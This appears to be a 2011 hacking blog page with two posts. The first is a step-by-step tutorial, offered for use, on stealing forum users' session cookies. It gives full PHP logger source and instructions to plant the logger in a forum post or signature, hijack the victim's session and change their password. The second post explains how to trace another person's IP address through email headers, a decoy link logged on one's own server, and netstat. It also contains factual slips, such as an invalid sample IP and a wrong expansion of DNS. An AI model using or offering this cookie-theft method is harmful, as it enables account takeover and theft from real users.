11.06.2011

Hack Someones Account Using CookieLogger



javascript
Cookies stores all the necessary Information about one’s account , using this information you can hackanybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hackGoogle, Yahoo, Orkut, Facebook, Flickr etc.
What is a CookieLogger? A CookieLogger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.
Today I am going to show How to make your own Cookie Logger…Hope you will enjoy Reading it …
Step 1: Save the notepad file from the link below and Rename it as Fun.gif:
Download it.
Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>
Step 3: Create a new Notepad File and Save it as logfile.txt
Step 4: Upload this file to your server
cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif
If you don’t have any Website then you can use the following Website to get a Free Websitewhich has php support :
http://0fees.net
Step 5: Go to the victim forum and insert this code in the signature or a post :
Download it.
Step 6: When the victim see the post he view the image u uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9
Step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.
Step 8: Go to the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim’s account information.
Note : Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim’s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.

Disclaimer:- I don’t take Responsibility for what you do with this script, it is served only for the Educational purpose only…

11.05.2011

Find Us on Facebook

We Are Spreading on Facebook Follow "Us Like And Read And Be a Pro H4cker........
Enjoy !

Finding Someones IP Address


Every computer, smart phone or other device connected to the internet has a unique number known as an Internet Protocol (IP) address. IP addresses contain four sets of numbers separated by periods and look something like 71.14.68.312. Each number is different based on the location of your computer. If you are accessing the internet from both a laptop and a desktop computer at home, the IP address will be the same for both machines. Most internet service providers, ISP’s, are issued a block of IP addresses for their customers. If you and your friend both live in the same region of the country and both use the same ISP, chances are your IP addresses are very similar. You may wonder if someone can find out your identity by knowing your IP address. This is not likely, at least not without a subpoena. Typically, all someone can easily learn about you from knowing your IP address is the ISP that you use and maybe the state and city where you live. You can quickly find out your IP by visiting any number of websites designed for this purpose. WhatismyIPaddress.com or ip-adress.com or ipaddresslocation.org are just a few of the sites dedicated to telling you your IP address quickly. This method will tell you your own IP address, but what if you want to find out someone else’s IP address? There are a few easy ways to do this as well.
 
Step 1: Locate the IP address of someone who sent you an email by checking their email header. Most email headers are hidden from view, but your email client should have a way for you to make it visible. Email headers are always delivered with every email, so check with your email client for display options if you can’t see the headers. For example, if you are using outlook express, open the message and go to the File menu. Select Properties > Details > Message Source, then copy and paste the message source into a new message. If you use AOL as your email client, open the message and click “Details” in the top portion of the email, directly underneath the “To” line. You are looking for a line that begins “Received: from sally.aol.com (74.54.246.39)”. If you only see one “Received.from” line, the grouping of four sets of numbers in parentheses is the sender’s IP address.
 Sometimes you will see more than one ‘Received.from” line, which means that your email went through multiple email servers or a spammer is trying to confuse things and hide their IP address. If you have more than one “Received.from” line in an email sent by someone you know, it is most likely that the last “Received.from” line in the header contains the IP address of the sender. If fake information has been inserted by a spammer, you will need to take a few extra steps to find their real IP address. Start from the last "Received: from" line and trace the message path up through the header. The location listed as “by” in each "Received" header should match the next "from" location listed in the following "Received" header. Ignore any entries that contain IP addresses or domain names that do not match up with the rest of the header chain. The last "Received: from" line with valid information is the line with the sender's true address.
 
Step 2:  Sometimes the email client you use will not display IP addresses in the headers out of respect for their user’s privacy. Gmail is one such web based email client that protects its users. In this case, you can find someone’s IP address by knowing their DNS address. DNS stands for Domain Name Server and if you know someone’s domain, it is possible to trace their IP address. Domain names are easier to remember and you can easily find a free service to translate the domain name you enter into an IP address. If you want to find an IP address from a domain name, you must enter the domain without the http:// prefix. This will not work for an individual’s IP address unless they own the domain.
Step 3: If you own a domain name, here is another way to discover someone’s IP address. Tell the person about a URL on the site that you know does not exist, like
http ://www. yourdomainname.tv/makeitup. jpg. If they visit the page, they'll get a "404 error". You can then search the log for ‘makeitup.jpg’ and the only IP address that shows up will be theirs. Once you have the IP address, go to any of the sites online that trace the addresses and enter the number. You will receive basic location information. This is especially useful if you are being harassed by someone using IM’s. Once you have their general location, ask them how the weather is there and they will likely leave you alone. Conversely, you should never click a link or visit a site that you think is suspect. This method could just as easily be turned around and used on you by unscrupulous people.
Step 4: You can also find IP addresses by using netstat if you are running Windows. Open a command window (Start > Run > cmd) and type netstat. With netstat, you can see the active connections of your computer. Netstat has options to show either names or addresses, and you can set up an interval to refresh, so that it checks and shows connections every 10 seconds, or whatever you prefer. In order for netstat to be effective, you must have an active connection with another computer, like when you transfer files or exchange software or music. Once you open the command and type in netstat, it will show the connected computer’s IP address as well as the TCP port it is using to communicate with your computer.
 
Finding someone’s IP address is not rocket science, but once you have it, there is not much you can do with it without a subpoena. If you are being harassed, as in Step 3, just letting the person know what city they live in may be enough to make them think twice about bothering you again. There are other ways to find IP addresses such as IP sniffers, software you can purchase, or programs you can write.